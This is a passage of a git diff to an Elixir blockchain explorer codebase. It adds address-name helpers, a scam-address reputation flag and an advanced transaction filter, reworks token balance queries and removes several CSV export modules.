alter_address(block.miner, miner_hash, names, field_to_put_info)} + end + + defp put_meta_to_item( + %CurrentTokenBalance{address_hash: address_hash} = current_token_balance, + names, + field_to_put_info + ) do + %CurrentTokenBalance{ + current_token_balance + | address: alter_address(current_token_balance.address, address_hash, names, field_to_put_info) + } + end + + defp put_meta_to_item(%Address{} = address, names, field_to_put_info) do + alter_address(address, address.hash, names, field_to_put_info) + end + + defp put_meta_to_item( + %Instance{owner: owner_address, owner_address_hash: owner_address_hash} = instance, + names, + field_to_put_info + ) do + %Instance{instance | owner: alter_address(owner_address, owner_address_hash, names, field_to_put_info)} + end + + defp put_meta_to_item( + %Deposit{ + from_address: from_address, + from_address_hash: from_address_hash, + withdrawal_address: withdrawal_address, + withdrawal_address_hash: withdrawal_address_hash + } = deposit, + names, + field_to_put_info + ) do + %Deposit{ + deposit + | from_address: alter_address(from_address, from_address_hash, names, field_to_put_info), + withdrawal_address: alter_address(withdrawal_address, withdrawal_address_hash, names, field_to_put_info) + } + end + + defp alter_address(address, nil, _names, _field), do: address + + defp alter_address(%NotLoaded{}, address_hash, names, field) do + %{field => names[Address.checksum(address_hash)]} + end + + defp alter_address(nil, address_hash, names, field) do + %{field => names[Address.checksum(address_hash)]} + end + + defp alter_address(%Address{} = address, address_hash, names, :ens_domain_name) do + %Address{address | ens_domain_name: names[Address.checksum(address_hash)]} + end + + defp alter_address(%Address{} = address, address_hash, names, :metadata) do + %Address{address | metadata: names[Address.checksum(address_hash)]} + end + + defp alter_address(map, address_hash, names, field) when is_map(map) do + Map.put(map, field, names[Address.checksum(address_hash)]) + end +end diff --git a/apps/explorer/lib/explorer/chain/address/name.ex b/apps/explorer/lib/explorer/chain/address/name.ex index 926e15ef13e6..d05e04ae509c 100644 --- a/apps/explorer/lib/explorer/chain/address/name.ex +++ b/apps/explorer/lib/explorer/chain/address/name.ex @@ -7,29 +7,24 @@ defmodule Explorer.Chain.Address.Name do import Ecto.Changeset - alias Ecto.Changeset + alias Ecto.{Changeset, Repo} alias Explorer.Chain.{Address, Hash} + import Ecto.Query, only: [from: 2] + @typedoc """ * `address` - the `t:Explorer.Chain.Address.t/0` with `value` at end of `block_number`. * `address_hash` - foreign key for `address`. * `name` - name for the address * `primary` - flag for if the name is the primary name for the address """ - @type t :: %__MODULE__{ - address: %Ecto.Association.NotLoaded{} | Address.t(), - address_hash: Hash.Address.t(), - name: String.t(), - primary: boolean(), - metadata: map() - } - @primary_key false - schema "address_names" do - field(:name, :string) + typed_schema "address_names" do + field(:id, :integer, autogenerate: false, primary_key: true, null: false) + field(:name, :string, null: false) field(:primary, :boolean) field(:metadata, :map) - belongs_to(:address, Address, foreign_key: :address_hash, references: :hash, type: Hash.Address) + belongs_to(:address, Address, foreign_key: :address_hash, references: :hash, type: Hash.Address, null: false) timestamps() end @@ -46,6 +41,46 @@ defmodule Explorer.Chain.Address.Name do |> foreign_key_constraint(:address_hash) end + @doc """ + Sets primary false for all primary names for the given address hash + """ + @spec clear_primary_address_names(Repo.t(), Hash.Address.t()) :: {:ok, []} + def clear_primary_address_names(repo, address_hash) do + query = + from( + address_name in __MODULE__, + where: address_name.address_hash == ^address_hash, + where: address_name.primary == true, + # Enforce Name ShareLocks order (see docs: sharelocks.md) + order_by: [asc: :address_hash, asc: :name], + lock: "FOR NO KEY UPDATE" + ) + + repo.update_all( + from(n in __MODULE__, join: s in subquery(query), on: n.address_hash == s.address_hash and n.name == s.name), + set: [primary: false] + ) + + {:ok, []} + end + + @doc """ + Creates primary address name for the given address hash + """ + @spec create_primary_address_name(Repo.t(), String.t(), Hash.Address.t()) :: + {:ok, [__MODULE__.t()]} | {:error, [Changeset.t()]} + def create_primary_address_name(repo, name, address_hash) do + params = %{ + address_hash: address_hash, + name: name, + primary: true + } + + %__MODULE__{} + |> changeset(params) + |> repo.insert(on_conflict: :nothing, conflict_target: [:address_hash, :name]) + end + defp trim_name(%Changeset{valid?: false} = changeset), do: changeset defp trim_name(%Changeset{valid?: true} = changeset) do diff --git a/apps/explorer/lib/explorer/chain/address/reputation.ex b/apps/explorer/lib/explorer/chain/address/reputation.ex new file mode 100644 index 000000000000..30fa4247d0e0 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/address/reputation.ex @@ -0,0 +1,48 @@ +defmodule Explorer.Chain.Address.Reputation do + @moduledoc """ + This module defines the reputation enum values. + """ + use Explorer.Schema + + alias Explorer.Chain.Address.ScamBadgeToAddress + alias Explorer.Chain.Hash + alias Explorer.Repo + + @enum_values [:ok, :scam] + def enum_values, do: @enum_values + + @primary_key false + typed_embedded_schema do + field(:address_hash, Hash.Address) + field(:reputation, Ecto.Enum, values: @enum_values) + end + + def preload_reputation(address_hashes) do + scam_badges = + if Application.get_env(:block_scout_web, :hide_scam_addresses) do + ScamBadgeToAddress + |> where([sb], sb.address_hash in ^address_hashes) + |> Repo.all() + |> Map.new(&{&1.address_hash, &1}) + else + %{} + end + + Enum.map(address_hashes, fn address_hash -> + case Map.get(scam_badges, address_hash) do + nil -> {address_hash, %__MODULE__{reputation: "ok"}} + _badge -> {address_hash, %__MODULE__{reputation: "scam"}} + end + end) + end + + def reputation_association do + [reputation: &__MODULE__.preload_reputation/1] + end +end + +defimpl Jason.Encoder, for: Explorer.Chain.Address.Reputation do + def encode(reputation, opts) do + Jason.Encode.string(reputation.reputation, opts) + end +end diff --git a/apps/explorer/lib/explorer/chain/address/scam_badge_to_address.ex b/apps/explorer/lib/explorer/chain/address/scam_badge_to_address.ex new file mode 100644 index 000000000000..e911cfbc9286 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/address/scam_badge_to_address.ex @@ -0,0 +1,101 @@ +defmodule Explorer.Chain.Address.ScamBadgeToAddress do + @moduledoc """ + Defines Address.ScamBadgeToAddress.t() mapping with Address.t() + """ + + use Explorer.Schema + + import Ecto.Changeset + + alias Explorer.{Chain, Repo} + alias Explorer.Chain.{Address, Hash} + + import Ecto.Query, only: [from: 2] + + @typedoc """ + * `address` - the `t:Explorer.Chain.Address.t/0`. + * `address_hash` - foreign key for `address`. + """ + @primary_key false + typed_schema "scam_address_badge_mappings" do + belongs_to(:address, Address, foreign_key: :address_hash, references: :hash, type: Hash.Address, null: false) + + timestamps() + end + + @required_fields ~w(address_hash)a + @allowed_fields @required_fields + + def changeset(%__MODULE__{} = struct, params \\ %{}) do + struct + |> cast(params, @allowed_fields) + |> validate_required(@required_fields) + |> foreign_key_constraint(:address_hash) + end + + @doc """ + Adds Address.ScamBadgeToAddress.t() by the list of Hash.Address.t() + """ + @spec add([Hash.Address.t()]) :: {non_neg_integer(), [__MODULE__.t()]} + def add(address_hashes) do + now = DateTime.utc_now() + + insert_params = + address_hashes + |> Enum.map(fn address_hash_string -> + case Chain.string_to_address_hash(address_hash_string) do + {:ok, address_hash} -> %{address_hash: address_hash, inserted_at: now, updated_at: now} + :error -> nil + end + end) + |> Enum.filter(&(!is_nil(&1))) + + safe_add(insert_params) + end + + defp safe_add(insert_params) do + Repo.insert_all(__MODULE__, insert_params, on_conflict: :nothing, returning: [:address_hash]) + rescue + # if at least one of the address hashes didn't yet exist in the `addresses` table by the moment of scam badge assignment, we'll receive foreign key violation error. + # In this case, we'll try to insert the missing addresses and then try to insert the scam badge mappings again. + error -> + address_insert_params = + insert_params + |> Enum.map(fn scam_address -> + scam_address + |> Map.put(:hash, scam_address.address_hash) + |> Map.drop([:address_hash]) + end) + + with %Postgrex.Error{postgres: %{code: :foreign_key_violation}} <- error, + {_number_of_inserted_addresses, [_term]} <- Address.create_multiple(address_insert_params) do + safe_add(insert_params) + else + _ -> {0, []} + end + end + + @doc """ + Deletes Address.ScamBadgeToAddress.t() by the list of Hash.Address.t() + """ + @spec delete([Hash.Address.t()]) :: {non_neg_integer(), [__MODULE__.t()]} + def delete(address_hashes) do + query = + from( + bta in __MODULE__, + where: bta.address_hash in ^address_hashes, + select: bta + ) + + Repo.delete_all(query) + end + + @doc """ + Gets the list of Address.ScamBadgeToAddress.t() + """ + @spec get([Chain.necessity_by_association_option() | Chain.api?()]) :: [__MODULE__.t()] + def get(options) do + __MODULE__ + |> Chain.select_repo(options).all() + end +end diff --git a/apps/explorer/lib/explorer/chain/address/token_balance.ex b/apps/explorer/lib/explorer/chain/address/token_balance.ex index cc0d579da1bd..85a7314eb874 100644 --- a/apps/explorer/lib/explorer/chain/address/token_balance.ex +++ b/apps/explorer/lib/explorer/chain/address/token_balance.ex @@ -2,18 +2,18 @@ defmodule Explorer.Chain.Address.TokenBalance do @moduledoc """ Represents a token balance from an address. - In this table we can see all token balances that a specific addreses had acording to the block + In this table we can see all token balances that a specific addresses had according to the block numbers. If you want to show only the last balance from an address, consider querying against `Address.CurrentTokenBalance` instead. """ use Explorer.Schema - import Ecto.Changeset - import Ecto.Query, only: [from: 2] + import Explorer.Chain.SmartContract, only: [burn_address_hash_string: 0] - alias Explorer.Chain + alias Explorer.{Chain, Repo} alias Explorer.Chain.Address.TokenBalance + alias Explorer.Chain.Cache.BackgroundMigrations alias Explorer.Chain.{Address, Block, Hash, Token} @typedoc """ @@ -23,43 +23,35 @@ defmodule Explorer.Chain.Address.TokenBalance do * `token_contract_address_hash` - The contract address hash foreign key. * `block_number` - The block's number that the transfer took place. * `value` - The value that's represents the balance. - * `token_id` - The token_id of the transferred token (applicable for ERC-1155 and ERC-721 tokens) + * `token_id` - The token_id of the transferred token (applicable for ERC-1155, ERC-721 and ERC-404 tokens) * `token_type` - The type of the token + * `refetch_after` - when to refetch the token balance + * `retries_count` - number of times the token balance has been retried """ - @type t :: %__MODULE__{ - address: %Ecto.Association.NotLoaded{} | Address.t(), - address_hash: Hash.Address.t(), - token: %Ecto.Association.NotLoaded{} | Token.t(), - token_contract_address_hash: Hash.Address, - block_number: Block.block_number(), - inserted_at: DateTime.t(), - updated_at: DateTime.t(), - value: Decimal.t() | nil, - token_id: non_neg_integer() | nil, - token_type: String.t() - } - - schema "address_token_balances" do + typed_schema "address_token_balances" do field(:value, :decimal) - field(:block_number, :integer) + field(:block_number, :integer) :: Block.block_number() field(:value_fetched_at, :utc_datetime_usec) field(:token_id, :decimal) - field(:token_type, :string) + field(:token_type, :string, null: false) + field(:refetch_after, :utc_datetime_usec) + field(:retries_count, :integer) - belongs_to(:address, Address, foreign_key: :address_hash, references: :hash, type: Hash.Address) + belongs_to(:address, Address, foreign_key: :address_hash, references: :hash, type: Hash.Address, null: false) belongs_to( :token, Token, foreign_key: :token_contract_address_hash, references: :contract_address_hash, - type: Hash.Address + type: Hash.Address, + null: false ) timestamps() end - @optional_fields ~w(value value_fetched_at token_id)a + @optional_fields ~w(value value_fetched_at token_id refetch_after retries_count)a @required_fields ~w(address_hash block_number token_contract_address_hash token_type)a @allowed_fields @optional_fields ++ @required_fields @@ -68,12 +60,10 @@ defmodule Explorer.Chain.Address.TokenBalance do token_balance |> cast(attrs, @allowed_fields) |> validate_required(@required_fields) - |> foreign_key_constraint(:address_hash) - |> foreign_key_constraint(:token_contract_address_hash) |> unique_constraint(:block_number, name: :token_balances_address_hash_block_number_index) end - {:ok, burn_address_hash} = Chain.string_to_address_hash("0x0000000000000000000000000000000000000000") + {:ok, burn_address_hash} = Chain.string_to_address_hash(burn_address_hash_string()) @burn_address_hash burn_address_hash @doc """ @@ -83,14 +73,79 @@ defmodule Explorer.Chain.Address.TokenBalance do ignores the burn_address for tokens ERC-721 since the most tokens ERC-721 don't allow get the balance for burn_address. """ + # credo:disable-for-next-line /Complexity/ def unfetched_token_balances do + if BackgroundMigrations.get_tb_token_type_finished() do + from( + tb in TokenBalance, + where: + ((tb.address_hash != ^@burn_address_hash and tb.token_type == "ERC-721") or tb.token_type == "ERC-20" or + tb.token_type == "ERC-1155" or tb.token_type == "ERC-404") and + (is_nil(tb.value_fetched_at) or is_nil(tb.value)) and + (is_nil(tb.refetch_after) or tb.refetch_after < ^Timex.now()) + ) + else + from( + tb in TokenBalance, + join: t in Token, + on: tb.token_contract_address_hash == t.contract_address_hash, + where: + ((tb.address_hash != ^@burn_address_hash and t.type == "ERC-721") or t.type == "ERC-20" or + t.type == "ERC-1155" or t.type == "ERC-404") and + (is_nil(tb.value_fetched_at) or is_nil(tb.value)) and + (is_nil(tb.refetch_after) or tb.refetch_after < ^Timex.now()) + ) + end + end + + @doc """ + Builds an `Ecto.Query` to fetch the token balance of the given token contract hash of the given address in the given block. + """ + def fetch_token_balance(address_hash, token_contract_address_hash, block_number, token_id \\ nil) + + def fetch_token_balance(address_hash, token_contract_address_hash, block_number, nil) do + from( + tb in TokenBalance, + where: tb.address_hash == ^address_hash, + where: tb.token_contract_address_hash == ^token_contract_address_hash, + where: tb.block_number <= ^block_number, + limit: ^1, + order_by: [desc: :block_number] + ) + end + + def fetch_token_balance(address_hash, token_contract_address_hash, block_number, token_id) do from( tb in TokenBalance, - join: t in Token, - on: tb.token_contract_address_hash == t.contract_address_hash, - where: - ((tb.address_hash != ^@burn_address_hash and t.type != "ERC-721") or t.type == "ERC-20" or t.type == "ERC-1155") and - (is_nil(tb.value_fetched_at) or is_nil(tb.value)) + where: tb.address_hash == ^address_hash, + where: tb.token_contract_address_hash == ^token_contract_address_hash, + where: tb.token_id == ^token_id, + where: tb.block_number <= ^block_number, + limit: ^1, + order_by: [desc: :block_number] ) end + + @doc """ + Deletes all token balances with given `token_contract_address_hash` and below the given `block_number`. + Used for cases when token doesn't implement `balanceOf` function + """ + @spec delete_placeholders_below(Hash.Address.t(), Block.block_number()) :: {non_neg_integer(), nil | [term()]} + def delete_placeholders_below(token_contract_address_hash, block_number) do + delete_token_balance_placeholders_below(__MODULE__, token_contract_address_hash, block_number) + end + + @doc """ + Deletes all token balances or current token balances with given `token_contract_address_hash` and below the given `block_number`. + Used for cases when token doesn't implement `balanceOf` function + """ + @spec delete_token_balance_placeholders_below(atom(), Hash.Address.t(), Block.block_number()) :: + {non_neg_integer(), nil | [term()]} + def delete_token_balance_placeholders_below(module, token_contract_address_hash, block_number) do + module + |> where([tb], tb.token_contract_address_hash == ^token_contract_address_hash) + |> where([tb], tb.block_number <= ^block_number) + |> where([tb], is_nil(tb.value_fetched_at) or is_nil(tb.value)) + |> Repo.delete_all() + end end diff --git a/apps/explorer/lib/explorer/chain/address_internal_transaction_csv_exporter.ex b/apps/explorer/lib/explorer/chain/address_internal_transaction_csv_exporter.ex deleted file mode 100644 index 96350b398b4d..000000000000 --- a/apps/explorer/lib/explorer/chain/address_internal_transaction_csv_exporter.ex +++ /dev/null @@ -1,108 +0,0 @@ -defmodule Explorer.Chain.AddressInternalTransactionCsvExporter do - @moduledoc """ - Exports internal transactions to a csv file. - """ - - alias Explorer.{Chain, PagingOptions} - alias Explorer.Chain.{Address, InternalTransaction, Wei} - alias NimbleCSV.RFC4180 - - @page_size 150 - - @paging_options %PagingOptions{page_size: @page_size + 1} - - @spec export(Address.t(), String.t(), String.t()) :: Enumerable.t() - def export(address, from_period, to_period) do - from_block = Chain.convert_date_to_min_block(from_period) - to_block = Chain.convert_date_to_max_block(to_period) - - res = - address.hash - |> fetch_all_internal_transactions(from_block, to_block, @paging_options) - |> Enum.sort_by(&{&1.block_number, &1.index, &1.transaction_index}, :desc) - |> to_csv_format() - |> dump_to_stream() - - res - end - - defp fetch_all_internal_transactions(address_hash, from_block, to_block, paging_options, acc \\ []) do - options = - [] - |> Keyword.put(:paging_options, paging_options) - |> Keyword.put(:from_block, from_block) - |> Keyword.put(:to_block, to_block) - - internal_transactions = Chain.address_to_internal_transactions(address_hash, options) - - new_acc = internal_transactions ++ acc - - case Enum.split(internal_transactions, @page_size) do - {_internal_transactions, - [%InternalTransaction{block_number: block_number, transaction_index: transaction_index, index: index}]} -> - new_paging_options = %{@paging_options | key: {block_number, transaction_index, index}} - fetch_all_internal_transactions(address_hash, from_block, to_block, new_paging_options, new_acc) - - {_, []} -> - new_acc - end - end - - defp dump_to_stream(internal_transactions) do - res = - internal_transactions - |> RFC4180.dump_to_stream() - - res - end - - defp to_csv_format(internal_transactions) do - row_names = [ - "TxHash", - "Index", - "BlockNumber", - "BlockHash", - "TxIndex", - "BlockIndex", - "UnixTimestamp", - "FromAddress", - "ToAddress", - "ContractAddress", - "Type", - "CallType", - "Gas", - "GasUsed", - "Value", - "Input", - "Output", - "ErrCode" - ] - - internal_transaction_lists = - internal_transactions - |> Stream.map(fn internal_transaction -> - [ - to_string(internal_transaction.transaction_hash), - internal_transaction.index, - internal_transaction.block_number, - internal_transaction.block_hash, - internal_transaction.block_index, - internal_transaction.transaction_index, - internal_transaction.transaction.block.timestamp, - to_string(internal_transaction.from_address_hash), - to_string(internal_transaction.to_address_hash), - to_string(internal_transaction.created_contract_address_hash), - internal_transaction.type, - internal_transaction.call_type, - internal_transaction.gas, - internal_transaction.gas_used, - Wei.to(internal_transaction.value, :wei), - internal_transaction.input, - internal_transaction.output, - internal_transaction.error - ] - end) - - Stream.concat([row_names], internal_transaction_lists) - end -end diff --git a/apps/explorer/lib/explorer/chain/address_log_csv_exporter.ex b/apps/explorer/lib/explorer/chain/address_log_csv_exporter.ex deleted file mode 100644 index ed44957ab67a..000000000000 --- a/apps/explorer/lib/explorer/chain/address_log_csv_exporter.ex +++ /dev/null @@ -1,84 +0,0 @@ -defmodule Explorer.Chain.AddressLogCsvExporter do - @moduledoc """ - Exports internal transactions to a csv file. - """ - - alias Explorer.{Chain, PagingOptions} - alias Explorer.Chain.{Address, Log, Transaction} - alias NimbleCSV.RFC4180 - - @page_size 150 - - @paging_options %PagingOptions{page_size: @page_size + 1} - - @spec export(Address.t(), String.t(), String.t()) :: Enumerable.t() - def export(address, from_period, to_period) do - from_block = Chain.convert_date_to_min_block(from_period) - to_block = Chain.convert_date_to_max_block(to_period) - - address.hash - |> fetch_all_logs(from_block, to_block, @paging_options) - |> to_csv_format() - |> dump_to_stream() - end - - defp fetch_all_logs(address_hash, from_block, to_block, paging_options, acc \\ []) do - options = - [] - |> Keyword.put(:paging_options, paging_options) - |> Keyword.put(:from_block, from_block) - |> Keyword.put(:to_block, to_block) - - logs = Chain.address_to_logs(address_hash, options) - - new_acc = logs ++ acc - - case Enum.split(logs, @page_size) do - {_logs, [%Log{block_number: block_number, transaction: %Transaction{index: transaction_index}, index: index}]} -> - new_paging_options = %{@paging_options | key: {block_number, transaction_index, index}} - fetch_all_logs(address_hash, from_block, to_block, new_paging_options, new_acc) - - {_, []} -> - new_acc - end - end - - defp dump_to_stream(logs) do - logs - |> RFC4180.dump_to_stream() - end - - defp to_csv_format(logs) do - row_names = [ - "TxHash", - "Index", - "BlockNumber", - "BlockHash", - "ContractAddress", - "Data", - "FirstTopic", - "SecondTopic", - "ThirdTopic", - "FourthTopic" - ] - - log_lists = - logs - |> Stream.map(fn log -> - [ - to_string(log.transaction_hash), - log.index, - log.block_number, - log.block_hash, - to_string(log.address_hash), - to_string(log.data), - to_string(log.first_topic), - to_string(log.second_topic), - to_string(log.third_topic), - to_string(log.fourth_topic) - ] - end) - - Stream.concat([row_names], log_lists) - end -end diff --git a/apps/explorer/lib/explorer/chain/address_token_transfer_csv_exporter.ex b/apps/explorer/lib/explorer/chain/address_token_transfer_csv_exporter.ex deleted file mode 100644 index fa8139a412a3..000000000000 --- a/apps/explorer/lib/explorer/chain/address_token_transfer_csv_exporter.ex +++ /dev/null @@ -1,102 +0,0 @@ -defmodule Explorer.Chain.AddressTokenTransferCsvExporter do - @moduledoc """ - Exports token transfers to a csv file. - """ - - alias Explorer.{Chain, PagingOptions} - alias Explorer.Chain.{Address, TokenTransfer} - alias NimbleCSV.RFC4180 - - @page_size 150 - @paging_options %PagingOptions{page_size: @page_size + 1, asc_order: true} - - @spec export(Address.t(), String.t(), String.t()) :: Enumerable.t() - def export(address, from_period, to_period) do - from_block = Chain.convert_date_to_min_block(from_period) - to_block = Chain.convert_date_to_max_block(to_period) - - address.hash - |> fetch_all_token_transfers(from_block, to_block, @paging_options) - |> to_csv_format(address) - |> dump_to_stream() - end - - def fetch_all_token_transfers(address_hash, from_block, to_block, paging_options, acc \\ []) do - options = - [] - |> Keyword.put(:paging_options, paging_options) - |> Keyword.put(:from_block, from_block) - |> Keyword.put(:to_block, to_block) - - token_transfers = Chain.address_hash_to_token_transfers_including_contract(address_hash, options) - - new_acc = acc ++ token_transfers - - case Enum.split(token_transfers, @page_size) do - {_token_transfers, [%TokenTransfer{block_number: block_number, log_index: log_index}]} -> - new_paging_options = %{@paging_options | key: {block_number, log_index}} - fetch_all_token_transfers(address_hash, from_block, to_block, new_paging_options, new_acc) - - {_, []} -> - new_acc - end - end - - defp dump_to_stream(transactions) do - transactions - |> RFC4180.dump_to_stream() - end - - defp to_csv_format(token_transfers, address) do - row_names = [ - "TxHash", - "BlockNumber", - "UnixTimestamp", - "FromAddress", - "ToAddress", - "TokenContractAddress", - "Type", - "TokenSymbol", - "TokensTransferred", - "TransactionFee", - "Status", - "ErrCode" - ] - - token_transfer_lists = - token_transfers - |> Stream.map(fn token_transfer -> - [ - to_string(token_transfer.transaction_hash), - token_transfer.transaction.block_number, - token_transfer.transaction.block.timestamp, - token_transfer.from_address_hash |> to_string() |> String.downcase(), - token_transfer.to_address_hash |> to_string() |> String.downcase(), - token_transfer.token_contract_address_hash |> to_string() |> String.downcase(), - type(token_transfer, address.hash), - token_transfer.token.symbol, - token_transfer.amount, - fee(token_transfer.transaction), - token_transfer.transaction.status, - token_transfer.transaction.error - ] - end) - - Stream.concat([row_names], token_transfer_lists) - end - - defp type(%TokenTransfer{from_address_hash: address_hash}, address_hash), do: "OUT" - - defp type(%TokenTransfer{to_address_hash: address_hash}, address_hash), do: "IN" - - defp type(_, _), do: "" - - defp fee(transaction) do - transaction - |> Chain.fee(:wei) - |> case do - {:actual, value} -> value - {:maximum, value} -> "Max of #{value}" - end - end -end diff --git a/apps/explorer/lib/explorer/chain/address_transaction_csv_exporter.ex b/apps/explorer/lib/explorer/chain/address_transaction_csv_exporter.ex deleted file mode 100644 index a68c4aabe08d..000000000000 --- a/apps/explorer/lib/explorer/chain/address_transaction_csv_exporter.ex +++ /dev/null @@ -1,144 +0,0 @@ -defmodule Explorer.Chain.AddressTransactionCsvExporter do - @moduledoc """ - Exports transactions to a csv file. - """ - - import Ecto.Query, - only: [ - from: 2 - ] - - alias Explorer.{Chain, Market, PagingOptions, Repo} - alias Explorer.Market.MarketHistory - alias Explorer.Chain.{Address, Transaction, Wei} - alias Explorer.ExchangeRates.Token - alias NimbleCSV.RFC4180 - - @necessity_by_association [ - necessity_by_association: %{ - [created_contract_address: :names] => :optional, - [from_address: :names] => :optional, - [to_address: :names] => :optional, - [token_transfers: :token] => :optional, - [token_transfers: :to_address] => :optional, - [token_transfers: :from_address] => :optional, - [token_transfers: :token_contract_address] => :optional, - :block => :required - } - ] - - @page_size 150 - - @paging_options %PagingOptions{page_size: @page_size + 1} - - @spec export(Address.t(), String.t(), String.t()) :: Enumerable.t() - def export(address, from_period, to_period) do - from_block = Chain.convert_date_to_min_block(from_period) - to_block = Chain.convert_date_to_max_block(to_period) - exchange_rate = Market.get_exchange_rate(Explorer.coin()) || Token.null() - - address.hash - |> fetch_all_transactions(from_block, to_block, @paging_options) - |> to_csv_format(address, exchange_rate) - |> dump_to_stream() - end - - def fetch_all_transactions(address_hash, from_block, to_block, paging_options, acc \\ []) do - options = - @necessity_by_association - |> Keyword.put(:paging_options, paging_options) - |> Keyword.put(:from_block, from_block) - |> Keyword.put(:to_block, to_block) - - transactions = Chain.address_to_transactions_without_rewards(address_hash, options) - new_acc = transactions ++ acc - - case Enum.split(transactions, @page_size) do - {_transactions, [%Transaction{block_number: block_number, index: index}]} -> - new_paging_options = %{@paging_options | key: {block_number, index}} - fetch_all_transactions(address_hash, from_block, to_block, new_paging_options, new_acc) - - {_, []} -> - new_acc - end - end - - defp dump_to_stream(transactions) do - transactions - |> RFC4180.dump_to_stream() - end - - defp to_csv_format(transactions, address, exchange_rate) do - row_names = [ - "TxHash", - "BlockNumber", - "UnixTimestamp", - "FromAddress", - "ToAddress", - "ContractAddress", - "Type", - "Value", - "Fee", - "Status", - "ErrCode", - "CurrentPrice", - "TxDateOpeningPrice", - "TxDateClosingPrice" - ] - - transaction_lists = - transactions - |> Stream.map(fn transaction -> - {opening_price, closing_price} = price_at_date(transaction.block.timestamp) - - [ - to_string(transaction.hash), - transaction.block_number, - transaction.block.timestamp, - to_string(transaction.from_address), - to_string(transaction.to_address), - to_string(transaction.created_contract_address), - type(transaction, address.hash), - Wei.to(transaction.value, :wei), - fee(transaction), - transaction.status, - transaction.error, - exchange_rate.usd_value, - opening_price, - closing_price - ] - end) - - Stream.concat([row_names], transaction_lists) - end - - defp type(%Transaction{from_address_hash: address_hash}, address_hash), do: "OUT" - - defp type(%Transaction{to_address_hash: address_hash}, address_hash), do: "IN" - - defp type(_, _), do: "" - - defp fee(transaction) do - transaction - |> Chain.fee(:wei) - |> case do - {:actual, value} -> value - {:maximum, value} -> "Max of #{value}" - end - end - - defp price_at_date(datetime) do - date = DateTime.to_date(datetime) - - query = - from( - mh in MarketHistory, - where: mh.date == ^date - ) - - case Repo.one(query) do - nil -> {nil, nil} - price -> {price.opening_price, price.closing_price} - end - end -end diff --git a/apps/explorer/lib/explorer/chain/advanced_filter.ex b/apps/explorer/lib/explorer/chain/advanced_filter.ex new file mode 100644 index 000000000000..d99a2f89717c --- /dev/null +++ b/apps/explorer/lib/explorer/chain/advanced_filter.ex @@ -0,0 +1,1398 @@ +defmodule Explorer.Chain.AdvancedFilter do + @moduledoc """ + Models an advanced filter. + """ + + use Explorer.Schema + + import Ecto.Query + import Explorer.Chain.SmartContract.Proxy.Models.Implementation, only: [proxy_implementations_association: 0] + + alias Explorer.Helper, as: ExplorerHelper + alias Explorer.{Chain, Helper, PagingOptions} + + alias Explorer.Chain.{ + Address, + Address.Reputation, + Data, + DenormalizationHelper, + Hash, + InternalTransaction, + TokenTransfer, + Transaction + } + + alias Explorer.Chain.Block.Reader.General, as: BlockGeneralReader + + @primary_key false + typed_embedded_schema null: false do + field(:hash, Hash.Full) + field(:type, :string) + field(:input, Data) + field(:timestamp, :utc_datetime_usec) + + belongs_to( + :from_address, + Address, + foreign_key: :from_address_hash, + references: :hash, + type: Hash.Address + ) + + belongs_to( + :to_address, + Address, + foreign_key: :to_address_hash, + references: :hash, + type: Hash.Address + ) + + belongs_to( + :created_contract_address, + Address, + foreign_key: :created_contract_address_hash, + references: :hash, + type: Hash.Address + ) + + field(:value, :decimal, null: true) + + has_one(:token_transfer, TokenTransfer, foreign_key: :transaction_hash, references: :hash, null: true) + + field(:fee, :decimal) + + field(:block_number, :integer) + field(:transaction_index, :integer) + field(:internal_transaction_index, :integer, null: true) + field(:token_transfer_index, :integer, null: true) + field(:token_transfer_batch_index, :integer, null: true) + end + + @typep transaction_types :: {:transaction_types, [String.t()] | nil} + @typep methods :: {:methods, [String.t()] | nil} + @typep age :: {:age, [{:from, DateTime.t() | nil} | {:to, DateTime.t() | nil}] | nil} + @typep from_address_hashes :: {:from_address_hashes, [Hash.Address.t()] | nil} + @typep to_address_hashes :: {:to_address_hashes, [Hash.Address.t()] | nil} + @typep address_relation :: {:address_relation, :or | :and | nil} + @typep amount :: {:amount, [{:from, Decimal.t()} | {:to, Decimal.t()}] | nil} + @typep token_contract_address_hashes :: + {:token_contract_address_hashes, [{:include, [Hash.Address.t()]} | {:include, [Hash.Address.t()]}] | nil} + @type options :: [ + transaction_types() + | methods() + | age() + | from_address_hashes() + | to_address_hashes() + | address_relation() + | amount() + | token_contract_address_hashes() + | Chain.paging_options() + | Chain.api?() + | {:timeout, timeout()} + ] + + @spec list(options()) :: [__MODULE__.t()] + def list(options \\ []) do + paging_options = Keyword.get(options, :paging_options) + + timeout = Keyword.get(options, :timeout, :timer.seconds(60)) + + age = Keyword.get(options, :age) + + block_numbers_age = + [ + from: + age[:from] && + BlockGeneralReader.timestamp_to_block_number( + age[:from], + :after, + Keyword.get(options, :api?, false) + ), + to: + age[:to] && + BlockGeneralReader.timestamp_to_block_number( + age[:to], + :before, + Keyword.get(options, :api?, false) + ) + ] + + tasks = + options + |> Keyword.put(:block_numbers_age, block_numbers_age) + |> queries(paging_options) + |> Enum.map(fn query -> Task.async(fn -> Chain.select_repo(options).all(query, timeout: timeout) end) end) + + tasks + |> Task.yield_many(timeout: timeout, on_timeout: :kill_task) + |> Enum.flat_map(fn {_task, res} -> + case res do + {:ok, result} -> + result + + {:exit, reason} -> + raise "Query fetching advanced filters terminated: #{inspect(reason)}" + + nil -> + raise "Query fetching advanced filters timed out." + end + end) + |> Enum.map(&to_advanced_filter/1) + |> Enum.sort(&sort_function/2) + |> take_page_size(paging_options) + |> Chain.select_repo(options).preload( + from_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()], + to_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()], + created_contract_address: [:names, :smart_contract, proxy_implementations_association()] + ) + end + + defp queries(options, paging_options) do + [] + |> maybe_add_transactions_queries(options, paging_options) + |> maybe_add_token_transfers_queries(options, paging_options) + end + + defp maybe_add_transactions_queries(queries, options, paging_options) do + transaction_types = options[:transaction_types] || [] + tokens_to_include = options[:token_contract_address_hashes][:include] || [] + tokens_to_exclude = options[:token_contract_address_hashes][:exclude] || [] + + if (transaction_types == [] or "COIN_TRANSFER" in transaction_types) and + (tokens_to_include == [] or "native" in tokens_to_include) and + "native" not in tokens_to_exclude do + [transactions_query(paging_options, options), internal_transactions_query(paging_options, options) | queries] + else + queries + end + end + + defp maybe_add_token_transfers_queries(queries, options, paging_options) do + transaction_types = options[:transaction_types] || [] + tokens_to_include = options[:token_contract_address_hashes][:include] || [] + + if (transaction_types == [] or not (transaction_types |> Enum.reject(&(&1 == "COIN_TRANSFER")) 